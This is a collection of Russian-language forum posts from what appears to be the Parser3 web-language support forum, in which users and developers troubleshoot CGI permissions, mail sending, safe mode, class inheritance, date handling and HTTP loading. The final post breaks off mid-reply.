"71639","Да, пожалуйста! Буду очень признателен! Почта: pustweb@mail.ru\
И я думаю будет целесообразным разместить информацию что и где править здесь, на форуме. Дабы в дальнейшем пользователи избегали трудностей."
"71640","100% в бинарном, и фаром пробывал несколько раз перезаливать и filezilla"
"71642","При отправке почты выдает Unhandleld exeption\
В логах это \
1.) [Sat   2009] [19660] /feedback/index.htm: /home/123by/www/123.by/feedback.p(8:7): 'send' '/usr/sbin/sendmail' reported problem: UNKNOWN (-2) [email.send] [uri=/feedback/index.htm, method=POST, cl=152]\
\
или иногда это\
\
2.) [Wed   2009] [22476] /feedback/index.htm: /home/123by/www/123.by/feedback.p(8:7): '/usr/sbin/sendmail' fork error: Resource temporarily unavailable (11) [file.execute] [uri=/feedback/index.htm, method=POST, cl=393]\
\
код стандартный\
\
^mail:send[\
        $.to[<$email_to>]\
        $.from[<$email_from>]\
        $.charset[$response:charset]\
        $.subject[Сообщение с сайта ]\
        $.text[  Сообщение отправил:  1111\
  Контактные данные: 2222\
  Текст сообщения: 3333 ]\
        ]\
\
Но при этом сообщения при первом варианте лога приходят, во втором - нет. Техподдержка не знает что и делать..."
"71643","Парсер 3.4.0 Linux Redhat 32 bit"
"71645","Я выискал вот это\
\
http://www.parser.ru/forum/?id=70547\
\
отправил в техподдержку\
\
Ответ\
В вашем случае:\
1. Другой код ошибки.\
2. В логах exim письмо не появляется,\
т.е. проблема возникает не на стадии отправки письма почтовым сервером, а в самом parser3.cgi\
\
Самое интересное что этот же код работает на другом домене у этого же хостера\
\
Ответ:\
Это другой сервер, но конфигурация apache и exim аналогичная.\
\
Ошибка теперь только - вариант 1"
"71647","проблема началась когда была установлена версия 3.3.0\
\
версию обновил, до 3.4.0 по просьбе техподдержки"
"71648","Вот что в итоге написали в техподдержке \
\
Лимит на максимальный объем файла был меньше, чем размер текущего лога exim'а.\
Только почему ошибка \"UNKNOWN\" не ясно."
"71649","Почему, что да как думаю разберетесь сами, вот файлы которые лежат в папке /www/.\
\
http://www.dekartmedia.ru/temp/www.rar"
"71650","В разделе скачать в архивах есть некоторые проблемы с правами на файлы.\
1) некоторые файлы (auto.p в частности) имеють права 777\
2) бинарник с отключенным safemode\
\
зы возможно я что-то пропустил :)"
"71651","2. я проверил -- архив с бинарником без safemode на месте. хотя для меня ваша мысль была выражена туманно, возможно я неверно понял, что конкретно вы имели ввиду."
"71652","Всё верно :)\
На странице http://www.parser.ru/download/linux/\
В разделе для \"64-битной ОС\"\
есть ссылка http://www.parser.ru/f/1/download/linux/parser3_4_0_debian5x64_cgi.tar.gz\
\
я ожидал что там будет safemod, а его там не оказалось. Вобщем случае  ничего страшного просто подписать чтобы такие как я не полагались на обычаи :)"
"71653","версии без safemode мы считаем небезопасными, мы их не используем и ссылки на них не выкладываем."
"71656","Попробуйте готовый пакет для debian.\
\
Сейчас в testing/unstable уже 3.4.0:\
apt-get install parser3-cgi parser3-mysql\
\
Пакеты без проблем пересобираются под Lenny (возможно и для Etch, давно\
не проверял):\
http://packages.debian.org/source/testing/parser\
http://packages.debian.org/source/testing/parser-mysql"
"71657","обратился к Парсеру по ssh доступу:cgi-bin/parser3.cgi\
cgi-bin/parser3.cgi: file not specified\
Parser/3.4.0 (compiled on i386-unknown-freebsd7.0)"
"71659","Давайте подведем итог:\
В руководстве написано: Типичная ошибка, «Premature end of script headers», означает, что вы забыли поставить бит «executable» или выбрали версию Parser, не соответствующую операционной системе вашего сервера (уточните ее у системного администратора).\
Также причиной может быть то, что вы «закачали» исполняемый файл на сервер не в режиме binary. В этом случае размер закачанного файла будет отличаться от файла, лежащего на вашем локальном диске.\
Другой причиной может являться опечатка в .htaccess файле, запись в лог файле будет содержать подробное указание, что вы сделали не так.\
У меня: [b]права стоят 755,[/b]\
[b]файл закачен в бинарном режиме[/b] (о чем свидетельствует одинаковый размер на локале и на хостинге)\
Администратор уточнил версию [b]ОС : 7.2  32битная[/b]\
[b]Ставлю parser3_4_0_freebsd70Rx32[/b]\
в [b].htaccess написано[/b]:# Подключение Parser-а для всех .html-страниц\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.cgi\
\
# Запрет на доступ к .p, .cfg и .sql-файлам. Основной: auto.p\
<Files ~ \"\\.(p|cfg|sql)$\">\
  Order allow,deny\
  Deny from all\
</Files>\
\
через ssh доступ парсер выдает:cgi-bin/parser3.cgi\
cgi-bin/parser3.cgi: file not specified\
Parser/3.4.0 (compiled on i386-unknown-freebsd7.0)\
\
ИТОГ: Ошибка 500 и в еррор логе сервера:[Sun Dec 27 18:50:19 2009] [error] [client 90.151.0.161] Premature end of script headers: /home/u196958/s-ks.ru/cgi-bin/parser3.cgi"
"71660","Внимание! Внимание! После 3 суток мозгоедания ненужного себе и вам всем, оказалось что вся причина была в том, что на папку cgi-bin стояли права 777 как только поставил 755 все заработало:)))))Всем приношу извинения и благодарность!"
"71662","Уважаемые разработчики, к сожалению не нашел инфы касательно возможности работы в версии 3.4 конструкции ^file:load по httpS.\
Вопрос простой, работает? или собирать 3.3 с патчем от Elik-a?"
"71663","в 3.4.0 работы с httpS добавлено не было.\
\
в HEAD реализована альтернативная реализация работы с https, с использованием библиотеки curl (должна быть установлена в системе самостоятельно).\
\
для включения необходима сборка с соотв. опцией (см. buildall-*).\
\
после этого появляется класс curl:\
[code]\
^curl:session{\
^curl:options[$.mode[binary]]\
$f[^curl:load[\
	$.url[http://www.parser.ru/_/tests/223.pl]\
	$.timeout(...)\
	$.charset[...]\
	$.cookie[...]\
	$.httpheader[...]\
	$.postfields[...]\
]]\
}\
[/code]\
\
поддержка в виде, отличном от file::load сделана для того, чтобы можно было пользоваться keepalive.\
\
P.S. это экспериментальная фича, возможно некоторые параметры load изменятся."
"71667","Спасибо за ответ. Не знаю на сколько оправданно использование класса в моем случае, думаю что использовать curl в лоб через ^file:exec будет не хуже. \
Вопрос к разработчикам на парсере, кто-нибудь реализовывал цифровую подпись https запроса ключом с использованием openssl+curl. \
Вопрос возник в связи с использованием протокола OAuth для экспорта данных пользователей из служб Google\
Может кто решал схожие задачи или решает?"
"71668","У меня есть модуль, который реализует интерфейс класса file для curl - http://code.google.com/p/parser3-pf/source/browse/trunk/pf/io/pfCurlFile.p Правда ssl я использую только как транспорт и работу с сертификатами не далал, но это не сложно дописать - у кюрла весь функционал имеется.\
\
Что касается цифровой подписи, то это тоже сделать крайне просто - openssl вызывать из Парсера не проблема. :)"
"71670","Очень полезный код - спасибо"
"71671","Наоборот... Он вызывается сейчас повторно и переменные изменяются на первоначальные значения."
"71672","соотв. вызывается два раза, первый раз при инициализации базового класса, второй раз -- производного.\
\
то, что этот метод наследуется, как и все остальные, мне кажется совершенно логичным.\
\
P.S. в вашем случае, чтобы всё исправить, надо и потомка определить свой собственный, можно пустой @auto[]"
"71673","В разделе новостей по примеру  уроков 3 и 4 всё вроди получилось.\
Теперь хотел вывести на главную страничку сам календарь, но чтото ни как.\
Когда вписываю в главной страничке вот это---^calendar[]-- страничка пропадает."
"71674","Но теперь получается, что auto будет вызываться не гарантированно у базового класса, который перекрыт. auto обычно используется для инициализации статический переменных. А в случае наследования и последующих изменений класса возможна ситуация, когда auto базового класса просто не вызовется?"
"71675","@auto[] у базового класса гарантированно вызовется при его загрузке.\
\
да, @auto[] используется для инициализации статических переменных класса. соотв. в потомке добавить что-либо туда нельзя, и это правильно.\
\
я не понял, когда с вашей точки зрения, @auto[] не вызовется."
"71676","цитата \"я ожидал что там будет safemod, а его там не оказалось\""
"71677","Нужен Ваш код, без него нет даже возможности помочь Вам"
"71678","Он не должен повторно вызываться у базового класса, который уже был подключен. Иначе в его области видимости значения изменяться.\
\
В моем случае я инициализировал хеш для конфигурации и в последствии добавлял туда параметры. Другие классы наследовались от него, чтобы иметь доступ к настройкам. (Не претендую на лучшее решение). А при повторной инициализации все настройки сбиваются."
"71681","ура :)"
"71682","в моём случае повторного выполнения метода @auto[] базового класса не происходит.\
\
у меня три класса: a, b и c, у всех методов определен метод @auto[]. b и c являются потомками a. создаю объекты классов.\
\
P.S. возможно у вас у класса наследника не определён метод @auto[], тогда смотрим мой предыдущий пост в этой теме по поводу наследования методов, включая метод @auto[]."
"71685","[code]$dDate[^date::now[]]\
^dDate.sql-string[]<br> ^rem{2010-01-05 00:59:36}\
\
^dDate.roll[TZ;GMT]\
^dDate.sql-string[]<br> ^rem{2010-01-04 19:59:36}\
\
$dDateNew[^date::create[^dDate.sql-string[]]]\
$dDate[^date::create($dDate+1/24)]\
^dDate.sql-string[]<br> ^rem{2010-01-05 01:59:36, [b]правильно ли я ожидаю тут тоже получить 2010-01-04 20:59:36[/b]?}\
\
$dDateNew[^date::create($dDateNew+1/24)]\
^dDateNew.sql-string[]  ^rem{2010-01-04 20:59:36}[/code]"
"71686","[quot]\
2010-01-05 01:59:36, правильно ли я ожидаю тут тоже получить 2010-01-04 20:59:36?\
[/quot]\
\
неправильно.\
вы [b]одну[/b] дату сдвинули в другую временную зону (при этом, по сути, сама дата не изменилась, она представляет точно такое-же время/дату, только, грубо говоря, записанную в другой системе координат).\
потом вы на основании этой даты создаёте новую дату в [b]локальной[/b] временной зоне сервера со сдвигом в 1 час.\
\
вообще лично мне реализация временных зон в парсере не нравится, т.к. смысла в такой реализации я не вижу. вообще. те задачи, для которых мне нужны были временные зоны я с помощью ^roll[TZ;...] в общем виде решить не смог.\
\
кроме того, названия временных зон server specific, т.е. при переносе сайта на другую площадку есть немаленькая вероятность, что заточенный под таймзоны код перестанет работать.\
\
правда задач у меня было ровно три:\
\
1. у сервера локальное время не MSK+3 (сервер в штатах), а мне хотелось, чтобы даты создавались и показывались во времени MSK+3. мне было бы удобно, чтобы я мог как-нибудь задать эту разницу во времени относительно локального времени сервера, чтобы все методы работы с датами эту разницу учитывали. (кстати, надо будет добавить это в todo :)\
\
2. выдача данных для RSS & Co. тут хочется выводить даты в каком-нить нормальном представлении: GMT или UTC (я этого хотел ещё до того, как появился метод ^gmt-string[]). увы, когда я этого сделать не смог (а MSK меня не устраивал, т.к. далеко не все RSS агрегаторы знают про все временные зоны, и некоторых плющило). тогда я остановился на выводе дат в виде +OFFSET, без указания имени зоны.\
\
3. разбор даты в формате RFC[2]822... в результате я это дело в общем виде не осилил и забросил :)"
"71687","Есть форма, куда в textarea выводится текст путем\
\
[code]$str[$sometext]\
<textarea name=text cols=35 rows=8>\
^str.match[<br />][g]{^#0A}\
</textarea>[/code]\
\
Этот текст без проблем сохраняется в базе в виде [code]^text.match[\\n][g]{^taint[as-is][<br />][/code]\
\
Далее этот текст отлично отображается на сайте через [code]^untaint[as-is]{$item.text}[/code]\
\
Но в той же форме textarea уже форматирование не отображается."
"71688","это уже [url=/forum/?id=70577]не первый ваш вопрос по этой теме[/url]. следующий такой-же вопрос я молча удалю."
"71690","Здравствуйте Парсеписты!\
\
Знает ли кто как получить название метода в которым мы находимся?\
Мне нужно сделать класс журнала...\
\
[code]\
@someMethod[]\
^log[]\
\
@log[]\
^MAIN:oSQL.void{INSERT INTO log (`method`) VALUES (????????)}\
[/code]"
"71691","[code]\
@someMethod[]\
^log[someMethod]\
\
@log[aFunctionName]\
^MAIN:oSQL.void{INSERT INTO log (`method`) VALUES ('$aFunctionName')}\
[/code]\
\
p.s. Насколько я понимаю из caller'а получить имя функции нельзя."
"71692","Думал что есть ещё что-нибудь тайного.\
\
[code]\
@someMethod[]\
^log[]\
\
@someMethodTwo[]\
^log[]\
\
@otherMethod[]\
^log[]\
[/code]\
\
...красивее чем...\
\
[code]\
@someMethod[]\
^log[someMethod]\
\
@someMethodTwo[]\
^log[someMethodTwo]\
\
@otherMethod[]\
^log[otherMethod]\
[/code]"
"71693","Мне как раз кажется, что это именно тот случай, когда лучше _ЯВНО_ указать, что конкретно кладется в лог. В любом случае явное всегда лучше неявного, а рефлексия как раз то средство, которое стоит использовать только в крайнем случае."
"71694","[quote]рефлексия как раз то средство, которое стоит использовать только в крайнем случае[/quote]\
\
Почему?"
"71695","... обращение к RTTI в любом языке достаточно затратная операция и скриптовые не исключение. Во-вторых ситуаций, когда без рефлексии (да и без process'а) действительно нельзя обойтись крайне мало. Зачастую рефлексию пытаются применить в тех случаях, когда информация и так известна (Ваш пример как раз такой) и нет никакой необходимости использовать дополнительные методы для получения ее из среды исполнения."
"71696","в доке по ^reflection:create[] написано:\
[quot]Использовать этот метод удобно, если необходимо создать объект класса, имя которого находится в переменной.[/quot]\
\
Быстрее создать без reflection?"
"71697","[quote]1) некоторые файлы (auto.p в частности) имеют права 777[/quote]\
\
Да, world writable auto.p - это как-то нехорошо получилось. Подправил.\
\
[quote]2) бинарник с отключенным safemode[/quote]\
\
А здесь вроде как все правильно (без safe mode размер меньше, так и должно быть):\
\
556094 Nov 17 22:08 parser3_4_0_debian5x64_cgi.tar.gz\
555672 Nov 17 22:09 parser3_4_0_debian5x64_grpunlim_cgi.tar.gz"
"71698","Понятно, что есть случаи, когда рефлексия сильно помогает (хотя метод reflection:create и можно заменить на process) и упрощает код, но таких случаев очень мало. Иными словами, применять reflection и process стоит только в крайних случаях.\
\
Простой пример. Допустим нам надо написать функцию, которая читает файл с классом с диска и возвращает объект этого класса.\
\
Вооружимся знанием про \"удобный\" метод process и сделаем ровно так как описано в задаче:\
[code]\
@getObject[aClassName][lFile]\
  $lFile[^file::load[text;path/to/classes/${aClassName}.p]]\
  ^process{^taint[as-is][$lFile.text]}\
  $result[^process{^^$aClassName::create^[^]}]\
[/code]\
\
А теперь задумаемся можем ли мы решить задачу проще и оптимальнее? Оказывается можем:\
[code]\
@getObject[aClassName]\
  ^use[path/to/classes/${aClassName}.p]\
  $result[^reflection:create[$aClassName;create]]\
[/code]\
Причем замену process на reflection:create можно было и не делать - основной выигрыш дала замена load+taint+process на use.\
\
Надеюсь теперь будет более понятно, что \"удобство\" метода не является причиной для его использование, особенно в том случае, когда задача решается более простыми средствами. :)"
"71699","Для тестирования своих разработок использую обычный Apache. Решил расширить возможности теста, поставил Opera Unite (у них есть хорошее приложение \"web server\") так вот, кто ни будь привязывал Parser к Opera? эти манипуляции возможны? если да то как?\
Заранее благодарю."
"71701","Да, и это очень правильный шаг, имхо. Наличие result-операторов делает ее ненужной."
"71703","т.е. прикрутить к ней parser или любой другой server-side language нельзя.\
\
однако можно поставить модуль Web Proxy, и заставить через него работать ваш локально установленный веб сервер, к которому в свою очередь прикрутить что угодно (parser, php...)\
\
P.S. про Web Proxy моё рассуждение чисто теоретическое, т.к. несмотря на то, что я пользуюсь Оперой, поигрался с unite и установил этот модуль, я обнаружил, что unite в настоящий период кушает ну очень много памяти, что даже для моего, вроде не слабого компьютера, черезчур. поэтому пока я unite выключил, все эксперименты с ним отложил и продолжаю пользоваться локально установленным apache-ем."
"71705","но если речь идёт про xml+xsl, то с помощью <xsl:output/> или их отображением в виде параметров у ^xdoc.string[]"
"71706","Действительно я ошибся\
Просто от пользователя root бинарник запустился и мне это показалось необычным"
"71707","Спасибо за разъяснения. Буди и дальше пользовать Apache для работы. (PS: может в будущих версиях Unite, реализуется поддержка  cgi)"
"71708","Как автоматически инициализировать статические переменные для класса?"
"71710","Есть класс Model. \
\
[code]@CLASS\
Model\
\
@auto[]\
$_model_cache[^hash::create[]]\
\
@load[id]\
^if(!$_model_cache.$id){\
	$_model[^sql:table{...}]\
	$self._model_cache.$id[$_model]\
}\
\
$self._data[$_model][/code]\
\
\
Также есть 2 класса-потомка ModelA & ModelB:\
\
[code]@CLASS\
ModelA\
\
@USE\
Model.p\
\
@BASE\
Model\
\
@load[id]\
^BASE:load[$id]\
\
$self._data.class_a(true)[/code]\
\
\
[code]@CLASS\
ModelB\
\
@USE\
Model.p\
\
@BASE\
Model\
\
@load[id]\
^BASE:load[$id]\
$self._data.class_b(true)[/code]\
\
При таком раскладе получается, что метод @auto класса Model вызовется 3 раза: 1 при подключении Model, 2 при подключении ModelA и 3-ий раз при подключении ModelB. Соответственно хеш _model_cache будет обнулен. Т.е. [b]метод вызывается лишние несколько раз[/b], чего от метода auto никак не ожидалось. Если бы область видимости при вызове @auto базового класса была областью видимости текущего класса (что тоже не логично) то еще как-то можно было понять... \
\
Получается, что необходимо в дочерних методах перекрывать метод auto на пустой?\
\
Мне кажется что предыдущий алгоритм работы метода auto был более удобным. Т.к. метод auto гарантированно вызывался 1 раз."
"71711","[quot]При таком раскладе получается, что метод @auto класса Model вызовется 3 раза: 1 при подключении Model, 2 при подключении ModelA и 3-ий раз при подключении ModelB.[/quot]\
\
с моей колокольни это выглядит так: первый раз вызывается ^Model:auto[], второй раз ^ModelA:auto[], третий раз -- ^modelB:auto[].\
\
то, что ModelA:auto == ModelB:auto == Model:auto -- это частный случай, который вы неявно реализовали, т.к. наследование всех методов работает одинаково.\
\
хотя возможно, для метода auto эта логика и не очень удачна. надо будет ещё над ней подумать."
"71713","Не думаю. Не похоже что разработчики opera видят в этому нужду."
"71714","А это последствие их устранения. Хотя согласен с Мишей, что необходимость наследования @auto выглядит спорно. Впрочем, зато нет исключений и вижу ситуации, когда это наследование полезно. И не вижу тут больших неудобств - что мешает вам добавить например проверку ^if($CLASS_NAME eq 'базовый класс') {старый код}?"
"71716","Вот такую каку выдает мне парсер при попытке присоединиться к БД... В чем проблема? \
\
Куски auto.p:\
	[code]\
$SQL[\
	$.drivers[^table::create{protocol	driver	client\
mysql	$sqldriversdir/libparser3mysql.so	libmysqlclient.so\
sqlite	$sqldriversdir/libparser3sqlite.so	sqlite3.so\
pgsql	$sqldriversdir/libparser3pgsql.so	libpq.so\
oracle	$sqldriversdir/libparser3oracle.so	/u01/app/oracle/product/8.1.5/lib/libclntsh.so?ORACLE_HOME=/u01/app/oracle/product/8.1.5&ORA_NLS33=/u01/app/oracle/product/8.1.5/ocommon/nls/admin/data\
}]\
]\
\
\
$connect_string[mysql://hotprint_adm:112358@localhost/hotprint_adm?charset=cp1251]\
\
[/code]"
"71717","... Что по этому поводу говорит техподдержка хостинга? Они переложили файл с сокетом в другое место, но не пересобрали libmysqlclient.so?"
"71718","Скачал для 32битного Linux скрипт, запустил все и вывалилась в браузер ошибка:\
/: '/var/www/ilknnru/data/www/ilk.nn.ru/cgi-bin/auto.p' parser is in safe mode: reading files of foreign group and user disabled [recompile parser with --disable-safe-mode configure option], actual filename '/var/www/ilknnru/data/www/ilk.nn.ru/cgi-bin/auto.p', fuid(1074)!=euid(33) or fgid(1076)!=egid(33) [parser.runtime]\
\
что делать?"
"71720","Тред закрыт."
"71721","Возможно ли в гостевую из предлагаемого примера встроить CAPTCHA не прибегая к класам. Если да то где можно про это посмотреть."
"71722","Хотел в календаре из примера сделать перемищение по годам и месяйам.\
Но самое большое на что у меня хватило ума это прицепить к нему кнопку вперёд и назад. смотрел о сдвигах дат, кругом классы.\
Брал примеры с класами, у них хеши, а из хешей ещё куда то, и так получается кольцо."
"71724","Вы только начали, не бросайте, и понимание придет."
"71725","Добрый день!\
Возможно данная задача ([url=\"http://keep4u.ru/imgs/b/2010/01/14/51/5160d767e5b2578ed6f58b6dcd7ca680.gif\"]см. рисунок[/url]) для некоторых покажется простой, но для меня, как для начинающего в xslt - доставляет трудности.\
\
Задача в следующем: необходим раскрасить таблицу с учетом rowspan. Обычно я использовал проверку \"position() mod 2 = 0\", но тут это не прокатит. Решение вроде бы витает где-то рядом, но все же витает :)\
\
Заранее благодарен.\
\
[code]\
\
<?xml version=\"1.0\" encoding=\"UTF-8\" ?>\
<table border=\"1\">\
	<tr>\
	<td>a</td>\
	<td>b</td>\
	<td>c</td>\
	<td>d</td>\
	<td>e</td>\
	<td>f</td>\
	</tr>\
	<tr>\
	<td>a</td>\
	<td>b</td>\
	<td>c</td>\
	<td>d</td>\
	<td>e</td>\
	<td>f</td>\
	</tr>\
	<tr>\
	<td>a</td>\
	<td colspan=\"2\" rowspan=\"2\">b</td>\
	<td>c</td>\
	<td>d</td>\
	<td>f</td>\
	</tr>\
	<tr>\
	<td>s</td>\
	<td>b</td>\
	<td>c</td>\
	<td>d</td>\
	</tr>\
	<tr>\
	<td>a</td>\
	<td>b</td>\
	<td>c</td>\
	<td colspan=\"2\">d</td>\
	<td>e</td>\
	</tr>\
	<tr>\
	<td>a</td>\
	<td>b</td>\
	<td>c</td>\
	<td>d</td>\
	<td>e</td>\
	<td>f</td>\
	</tr>\
	<tr>\
	<td>a</td>\
	<td>b</td>\
	<td>c</td>\
	<td>d</td>\
	<td>e</td>\
	<td>f</td>\
	</tr>\
	<tr>\
	<td colspan=\"3\">a</td>\
	<td>b</td>\
	<td>c</td>\
	<td>d</td>\
	</tr>\
</table>\
\
[/code]"
"71726","Спасибо просмотрел.\
И то что рулит и ещё не много назад вернулся вовремени.\
Но кругом кроме обрывков, кода да недомолвок ничего полезного не обнаружилось.\
Ссылок на примеры, много старых и уже давно умерших.\
Короче говоря два, да нет три часа потерял даром.\
А в копилу изучения Parser ноль."
"71727","Спасибо за подбодряющий ответ.\
Но от него на сайте http://www.dom-veb.com/news/index.html изменений я думаю не произойдёт."
"71728","более того, обычно это хорошо, т.к. обычно это означает, что не придётся ковырятся во _всём_ коде.\
\
однако придется _читать_ описание классов, чтобы знать какой метод за что отвечает и когда его надо использовать\
\
однако в любом случае, если нет понимания того, что именно надо сделать, ничего не поможет. увы, но это так.\
\
[quot]\
смотрел о сдвигах дат, кругом классы.\
Брал примеры с класами, у них хеши, а из хешей ещё куда то, и так получается кольцо.\
[/quot]\
\
увы, но по этим фразам мне кажется, что программирование -- это \"не ваше\". совсем. бросьтё это дело."
"71729","Конечно вы правы, я не программист и наверное врядли им стану.\
Но мне, как и многим другим простым смертным хочется, создавать и поддерживать сложные динамические сайты без больших затрат времени.\
И куда нам теперь?"
"71730","Может быть что лучше раньше бросить."
"71731","Тут так принято."
"71733","что значит ноль, я вам дал рабочий пример. Там не работают ссылки с картинками - да. Но, думаю, при желании их можно сгенерить самостоятельно. Как выглядит - смотрите здесь... http://www.2men.ru/services/webpager/?op_id=1  (раньше работало).\
\
P.S. Сейчас уже можно переписать этот скрипт и картинки получать из потока, скажем тем же ImageMagick, но это Домашнее задание для вас."
"71735","Ваша задача решается немного другим способом. Почитайте про \"java script\""
"71736","Подскажите, плз, существует ли в Parser оператор, аналогичный оператору format(x,d) из MySQL - выделение разрядов числа запятыми. Не верю что нет, но если действительно нет - придется писать, а так не хочется велосипед изобретать."
"71737","поищите в chm по \"format\""
"71738","И все же надеюсь на ответ, т.к. chm файл изучил изначально и без сторонних рекомендаций.\
Насколько я понимаю, в парсере метод format классов string и double, int позволяет манипулировать а) кол-вом знаков до запятой, б) кол-вом знаков после запятой, и в) способом преобразования строки к числу. Ни слова про выделение разрядов. Либо я чего-то пропустил, либо одно из двух ... Дайте наколочку, плз."
"71739","что значит кол-вом знаков ДО запятой?\
напишите свою функцию, если это требуется...\
\
в [b]chm[/b] по поиску по запросу \"format\" как раз первая ссылка -- то что надо,  если вам нужен другой реультат, опишите задачу..."
"71740","Мне нужен аналог следующего:\
FORMAT(X,D) \
Formats the number X to a format like '#,###,###.##', rounded to D decimal places, and returns the result as a string. If D is 0, the result has no decimal point or fractional part. \
mysql> SELECT FORMAT(12332.123456, 4);\
        -> '12,332.1235'\
mysql> SELECT FORMAT(12332.1,4);\
        -> '12,332.1000'\
mysql> SELECT FORMAT(12332.2,0);\
        -> '12,332'\
И если с количеством знаков в целой и дробной частях все понятно, то хотелось бы понять возможно ли стандартными средствами Parser выделять разряды запятыми (или другим символом). Если нет, тогда придется писать функцию, а вдруг да!?.."
"71741","Можно ли загрузить файл с сервера по http и [b]порту[/b] такой конструкцией? Типа ссылка:\
[code]^file::load[text;http://domain.com:[b]55555[/b]/document.html][/code]\
что то у меня не получается..."
"71746","Да может сгенерировать и можно если знать что генерировать, или хотябы видеть хоть раз какими они те картинки должны быть.\
На сайте captcha .ru к скрипту прилагаются картинки с цифрам и буквами такого вида 0123456789abcdef qhi  jklmnopgrstuvwxyz  и их там больше 20 штук рисунков, разных.\
Там хоть видно что должно быть.\
Вы же меня направляете по ссылке на сайт на котором рисунок состоит в готовой форме, и уже на фоне.\
А какой вид у него должен быть, для работы скрита?\
Где я могу видеть?\
Или, тут по принципу, догадайся мол сам.\
А ещё говорите что не обрывки.\
Обрывки, и при том самые настоящие.\
Если в перых уроках, у автора сайта, была цель дать какието знания начинающим, он это сделал превосходно.\
Если же у вас сказать нечего так вы и шпыняете то туды то сюды.\
Ещё и наверное обижаетесь что скал, что материал предоставлен кусками."
"71747","Я немного напутал, у меня запос идет не по днс имени, а по ip,\
т. е. код такой:\
[code]^file::load[text;http://83.73.114.55:55555/document.html][/code]\
\
а ошибку я читаю из лог файла parser3.log, он такой\
\
[code]: 'load' can not connect to host \"83.73.114.55\": Connection refused (111) [http.connect] [uri=/download.html, method=GET, cl=0][/code]"
"71750","Парсер - это язык программирования на котором необходимо писать код. В \"Уроках\" содержатся лишь самые простые примеры, которые показывают простейщие концепции языка, а дальше все зависит только от Вашего желания изучать Парсер и, что гораздо важнее, технологии на которых строится \"веб\".  \
\
Если гоовроить о первоначальной задаче - защите форм от спама, то капча далеко не единственное и точно не самое лучшее решение. В разделе [url=http://www.parser.ru/examples/]\"Примеры\"[/url] на этом сайте [url=http://www.parser.ru/examples/antispam/]есть класс[/url], который реализует иную технику защиты."
"71751","Из консоли, это как, можно примерчик?\
Из броузера нормально грузится."
"71753","ну конкечно, запускал этот адрес вместе с эксплорером, запускается.\
в коммандере пишу:\
[code]C:\\Documents and Settings\\home>\"C:\\Program Files\\Internet Explorer\\iexplore.exe\" \"http://83.73.114.55:55555/document.html\"[/code]\
или я не о том говорю?"
"71754","имелось в виду wget или curl на удаленном сервере.\
если у вас windows, скачайте wget для него, например [url=\"http://users.ugent.be/~bpuype/wget/\"]тут[/url], и попробуйте из каталога, где лежит wget.exe выполнить:\
[code]wget http://83.73.114.55:55555/document.html[/code]\
\
[b]P.S.:[/b] машина с которой запускается скрипт и с которой в браузере открывается http://83.73.114.55:55555/document.html -- одна и та же машина?"
"71755","нет не ода и та же машина.\
адрес http://83.73.114.55:55555/document.html находится на серваке под виндой, а мне нужно с хоста под линухом парсером этот документ оттуда забирать, производить в нем некоторые изменения и класть назад."
"71756","вот и попробуйте с хоста под linux в консоли запустить:\
[code]wget http://83.73.114.55:55555/document.html[/code]\
\
скорее всего он не видит сервер под win (parser тут уже не причем).\
\
[b]P.S.:[/b] скорее всего - 83.73.114.55 -- это ваш IP и вполне логично, что по нему вы видите страницу... у меня, например она не открывается."
"71757","Суть проблемы в следующем: необходимо забрать curl-ом ответ по запросу к https://somedomain.com, при этом вставляется заголовок в запрос следующим образом:\
[code]curl --silent --header \"someheader:value\" https://www.somedomain.com[/code]\
При исполнении всего этого через парсер:\
[code]$args[^table::create{arg \
--silent\
--header\
\"someheader:value\"\
https://www.somedomain.com}] \
$fileT[^file::exec[/../../../../../usr/bin/curl;;$args]][/code]\
заголовок попадает в заголовки запроса с кавычками и \
принимающая сторона не видит его.\
Однако при выполнении curl c вышеописанными опциями напрямую с консоли - все получается как нужно.\
В чем же тут может быть дело?"
"71759","[code][Mon Jan 18 13:02:20 2010] [3802] /: /home/httpd/vhosts/vovavova.ru/subdomains/test/httpdocs/classes/mailto.p(51:15): '<(a) href=[\"']mailto:(.+?)(\\?subject=(.+?))?[\"'](.*?)>(.+?)</\\1>' UTF-8 validation failed during pcre_exec (-10). [pcre.execute] [uri=/, method=GET, cl=0][/code]\
вываливается такая ошибка при использовании mailto.p. \
парсер 3.4\
кодировка сайта utf-8\
в конфиге парсера тоже utf-8\
файлы все тоже в utf-8\
\
\
UPD: проблема решилась. Файлы cfg были в кодировке cp1251, из-за чего и не работал mailto.p, вешавший весь сайт."
"71760","[code]$xml[^xdoc::load[a.xml]]\
$xsl[^xdoc::load[a.xsl]]\
\
$x[^xml.transform[$xsl]]\
$x[^xml.transform[$xsl]][/code]\
падает на втором трансформе с ошибкой \"Unexpected XSLT element 'apply-templates'.\" (в зависимости от содержания xsl)\
\
помогает такой костыль:\
[code]$x[^xml.transform[$xsl]]\
[b]$x[^xml.transform[^xdoc::create{^xsl.string[]}]][/b][/code]\
т.е. после первого трансформа $xsl каким-то чудным образом ломается. \
Если до и после первого трансформа сохранять $xsl на диск -- файлы идентичны за исключением оптимизации по white-space \"после\"."
"71761","Благодарю - бывают такие моменты, когда долго ковыряешься и теряешь внимательность."
"71762","к сожалению, у меня нет sh доступа к линух серваку, чтоб там запустить консоль.\
А на счет адреса, вы и не сможете ее открыть, этот адрес я привел для примера :)\
вот реальный адрес на моем сервере я выложил тестовую страницу\
http://93.73.155.160:35555/test.html"
"71763","Код\
[code]\
$f[^file::load[text;http://93.73.155.160:35555/test.html]]\
$f.text\
[/code]\
\
выдал\
[code]\
<html>\
<head>\
<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\">\
</head>\
<body><p align=\"center\">\
<b>Test page<br><br>\
Попробуйте, пожалуйста, загрузить её конструкцией:<br><br>\
$file[^file::load[text;http://93.73.155.160:35555/test.html]]</b>\
</p>\
</body>\
</html>\
[/code]"
"71764","Скорее всего на хостинге закрыты исходящие соединения, что не редкость. Поэтому автору топика имеет смысл уточнить этот вопрос у провайдера, а не искать проблему в Парсере. :)"
"71765","Мда...\
Вы имеете ввиду, именно запрос с указанием порта?\
потому что с этого же хоста я загружаю с другого адреса но без указания порта, вполне нормально."
"71766","... а нужно найти проблему (проблема не в Парсере как уже выяснили). Судя по всему Линукс-сервер блокирует запросы, поэтому необходимо уточнить у хостера какие есть ограничения."
"71767","есть часть кода \
как заставить парсер его проигнорировать при выполнени но вставить в готовую html страницу?"
"71768","Если я понял вас правильно...\
\
1.\
[quot]\
